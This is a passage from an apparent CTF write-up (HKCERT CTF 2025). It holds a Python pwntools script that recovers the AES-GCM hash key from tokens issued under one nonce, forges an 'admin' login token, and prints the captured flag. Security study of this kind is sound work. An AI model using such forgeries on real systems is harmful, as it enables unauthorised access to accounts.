def gf_pow(a, n):
res = 1
while n > 0:
if n % 2 == 1:
res = gf_mul(res, a)
a = gf_mul(a, a)
n //= 2
return res
def gf_inv(a):
# a^(2^128 - 2)
return gf_pow(a, (1 << 128) - 2)
def gf_sqrt(a):
# a^(2^127)
return gf_pow(a, 1 << 127)
  1. 攻击脚本
from pwn import *
from Crypto.Util.Padding import pad
from gcm_util import gcm_to_poly, poly_to_gcm, gf_mul, gf_inv, gf_sqrt, bytes_to_long, long_to_bytes
context.log_level = 'info'
def xor_bytes(a, b):
return bytes(x ^ y for x, y in zip(a, b))
def solve():
r = remote("pwn-c46f6a2305.challenge.xctf.org.cn", 9999, ssl=True)
def update_nonce(nonce_bytes):
r.sendlineafter(b'>', b'U')
r.sendlineafter(b'nonce(hex)>', nonce_bytes.hex().encode())
def register():
r.sendlineafter(b'>', b'R')
r.recvuntil(b"Register!\n")
token_hex = r.recvline().strip()
username_hex = r.recvline().strip()
token = bytes.fromhex(token_hex.decode())
username = bytes.fromhex(username_hex.decode())
return token, username
def login(token_bytes):
r.sendlineafter(b'>', b'L')
r.sendlineafter(b'token(hex)>', token_bytes.hex().encode())
res = r.recvline() # Login!
if b"Login!" in res:
try:
flag = r.recvall(timeout=2)
print("Flag received:")
print(flag.decode())
except:
print("No flag or connection closed.")
else:
print(f"Login response: {res}")
# Step 1: Nonce 1
nonce1 = os.urandom(12)
update_nonce(nonce1)
# Register twice
token1, u1 = register()
c1 = token1[:16]
t1 = token1[16:]
p1 = pad(u1, 16)
token2, u2 = register()
c2 = token2[:16]
t2 = token2[16:]
p2 = pad(u2, 16)
log.info("Got 2 pairs from nonce 1")
# Recover H
poly_t1 = gcm_to_poly(bytes_to_long(t1))
poly_t2 = gcm_to_poly(bytes_to_long(t2))
poly_c1 = gcm_to_poly(bytes_to_long(c1))
poly_c2 = gcm_to_poly(bytes_to_long(c2))
diff_t = poly_t1 ^ poly_t2
diff_c = poly_c1 ^ poly_c2
inv_diff_c = gf_inv(diff_c)
h2 = gf_mul(diff_t, inv_diff_c)
h = gf_sqrt(h2)
log.info(f"Recovered H: {hex(poly_to_gcm(h))}")
# Step 2: Nonce 2
nonce2 = os.urandom(12)
update_nonce(nonce2)
# Register once
token3, u3 = register()
c3 = token3[:16]
t3 = token3[16:]
p3 = pad(u3, 16)
# Forge
target_p = pad(b"admin", 16)
keystream = xor_bytes(c3, p3)
target_c = xor_bytes(target_p, keystream)
poly_t3 = gcm_to_poly(bytes_to_long(t3))
poly_c3 = gcm_to_poly(bytes_to_long(c3))
poly_target_c = gcm_to_poly(bytes_to_long(target_c))
diff_c_new = poly_target_c ^ poly_c3
delta_t = gf_mul(diff_c_new, h2)
poly_target_t = poly_t3 ^ delta_t
target_t = long_to_bytes(poly_to_gcm(poly_target_t))
fake_token = target_c + target_t
log.info("Forged token. Logging in...")
login(fake_token)
if __name__ == "__main__":
solve()
# flag{Dv16jo7D5Lo2Z8HJMcjBpgWe41ur6hnu}
HKCERTCTF2025
https://return-sin.github.io/-sinQwQ-/posts/hkcertctf2025/
Author
sinQwQ
Published at
2025-12-20
License
CC BY-NC-SA 4.0